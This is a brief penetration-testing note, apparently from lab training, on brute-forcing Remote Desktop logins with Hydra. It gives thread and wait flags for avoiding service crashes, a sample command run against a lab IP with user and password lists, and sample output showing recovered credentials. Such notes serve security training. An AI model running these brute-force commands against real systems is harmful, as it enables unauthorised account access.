RDP [3389]

Brute Forcing RDP with Hydra

Hydra supports experimental brute-forcing for the RDP protocol.

⚠️ Important Notes:

• RDP servers are sensitive to multiple concurrent connections

• Use flags like -t 1 or -t 4 and -W 1 to avoid crashing the service

🔧 Example Command:

hydra -L user.list -P password.list rdp://10.129.42.197

🟢 Output Example:

[3389][rdp] host: 10.129.42.197   login: user   password: password

❗ Some logins may be correct but not enabled for RDP access:

account not active for remote desktop: login: mrb3n password: rockstar
